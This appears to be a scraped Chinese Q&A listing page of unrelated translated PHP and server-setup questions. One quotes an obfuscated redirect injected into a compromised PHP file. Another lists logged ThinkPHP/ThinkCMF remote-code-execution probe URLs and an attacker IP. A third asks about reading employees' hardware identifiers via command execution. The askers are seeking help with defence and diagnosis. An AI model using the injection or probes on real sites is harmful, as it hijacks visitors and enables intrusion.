我已经安装了 XAMPP,我的项目保存在htdocs文件夹中。当我在浏览器中查看它时,URL 标识为http://localhost/example/index.php
如何使用我选择的域名访问它,例如www.mysite.com?
我的电脑运行的是 Windows 7,我打算只从我的电脑(而不是通过网络)访问这个网站。
我在受损的 php 文件中发现了一些 base64 编码的文本。当我解码 base64 字符串时,它是以下指令:
header("R\145\x66resh\072\x20\x32\x35\x3b\x20\x75r\x6c\075\"\x68\164\164\x70\x3a\057\057\146\143b\x61\162\x63\145\154on\141\144\157\x64\157\143\x6fm.\x69\x6e\x66\157\057uk\"");
Run Code Online (Sandbox Code Playgroud)
该 URL 字符串是什么类型的编码?我最初认为是十六进制,然后是 ascii,但它的长度可变。我做了谷歌,但无济于事。有人可以指出我正确的方向吗?
我已将 postgresql、php 和 apache 安装到 Amazon Linux AMI。现在我想使用phpPgAdmin,它提示“您的PHP安装不支持PostgreSQL。您需要使用--with-pgsql配置选项重新编译PHP。”!如何为 Amazon Linux AMI 重新编译它?请建议。谢谢。
我已经安装了以下内容:
[root@localhost conf.d]# yum list installed | grep 'http'
httpd.x86_64 2.4.6-80.el7.centos.1 @updates
httpd-tools.x86_64 2.4.6-80.el7.centos.1 @updates
[root@localhost conf.d]# yum list installed | grep 'php'
php72.x86_64 1.0-1.el7.remi @remi-safe
php72-php-cli.x86_64 7.2.11-1.el7.remi @remi-safe
php72-php-common.x86_64 7.2.11-1.el7.remi @remi-safe
php72-php-json.x86_64 7.2.11-1.el7.remi @remi-safe
php72-runtime.x86_64 1.0-1.el7.remi @remi-safe
Run Code Online (Sandbox Code Playgroud)
PHP 已经通过 CLI 运行良好
[root@localhost conf.d]# php -v
PHP 7.2.11 (cli) (built: Oct 10 2018 08:49:35) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
Run Code Online (Sandbox Code Playgroud)
Apache 也可以正常工作
[root@localhost modules]# httpd -v
Server version: Apache/2.4.6 …Run Code Online (Sandbox Code Playgroud) php代码:
$sys = system('dir');
Run Code Online (Sandbox Code Playgroud)
我已经搜索了几天,无法得出令人满意的结论。网上到处都是,上面的php代码很常见,或者这里的另一种shell_exec('dir');。这两个php代码获取服务器目录文件。
第一步:在windows电脑上的命令提示符(cmd)中,如果你输入wmic bios get serialnumber你会得到你电脑bios序列号的序列号。
现在,如果员工出于工作目的通过公司网站访问,我们如何通过执行cmd获取bios序列号并获取wmic bios get serialnumber员工日志目的的输出。或者任何其他方法来识别每个员工用于公司日常库存和日志目的的互联网设备。
方向:如果我们可以在客户端执行cmd并像这样执行这个命令(仅适用于登录用户):
$ip = $_SERVER['REMOTE_ADDR'];
$mac = shell_exec('arp -a ' . escapeshellarg($ip));
Run Code Online (Sandbox Code Playgroud)
或者
$mac = system('ipconfig/all');
Run Code Online (Sandbox Code Playgroud)
然后在某处 grep mac 地址。但是,这样做的目的是记录工厂工人使用的互联网设备。任何以另一种方式或以不同方式识别唯一标识互联网设备的方向帮助都会很棒。php、javascript等。谢谢。
我收到恶意请求,因此我寻求您的帮助,我记录了访问的页面网址,其中一些类似于http://example.com/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>,一些类似于http://example.com/?XDEBUG_SESSION_START=phpstorm,还有一个类似于http://example.com/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&var这些用户试图做什么以及我应该如何提高安全性并采取预防措施
攻击者的ip是45.146.164.125,我查了一下是来自俄罗斯
我想在我的 Mac 上使用 PHP。
如果我使用的是 Windows,我会安装 WAMP 服务器,但我不熟悉如何在 Mac OS X 上使用 PHP。我应该使用什么样的软件来在我的 Mac 上本地安装/运行我的 php 开发站点?
我正在使用文件上传脚本。我目前正在上传一个文件,然后尝试回显链接到该文件的锚点,但是由于我使用了具有 0700 权限的 mkdir() 来上传文件,因此它不允许我访问查看该文件。
我很确定我遇到的问题是因为我使用的文件权限代码。问题是我只是不知道所有不同的文件权限代码是什么以及它们的含义。
有人可以列出所有不同的文件权限以及它们各自的作用吗?
我所有的问题都源于尝试为 PHP 安装 mcrypt。昨晚我放弃了并遵循了如何进行全新的 apache2 和 php5.3.3 安装的教程。我是用 macports 做的
可悲的是,昨晚并没有为我启用 mcrypt,尽管我很高兴我运行了 5.3.3 :)
问题是我今天早上醒来发现我的 php 版本又降到了 5.3.1 这只能意味着 OS X 已经恢复到我原来的 Apache 和 PHP。
如何告诉 OS X 使用我通过 macports 安装的软件?
(然后我会问一个关于如何启用 mcrypt 的新问题)
nb我可以通过在系统首选项中停止当前的网络共享然后在终端中停止来加载 macports
sudo /opt/local/apache2/bin/apachectl -k restart
Run Code Online (Sandbox Code Playgroud) 在 php 文件中:
<?php
...
?>
<html>
</html>
Run Code Online (Sandbox Code Playgroud)
我无法使用 operator 缩进 html 源代码=。
我怎么能缩进呢?
php ×10
linux ×4
amazon-ec2 ×2
macos ×2
centos ×1
domain ×1
html ×1
javascript ×1
mac ×1
macports ×1
permissions ×1
postgresql ×1
security ×1
upload ×1
url ×1
vim ×1
web-hosting ×1
xampp ×1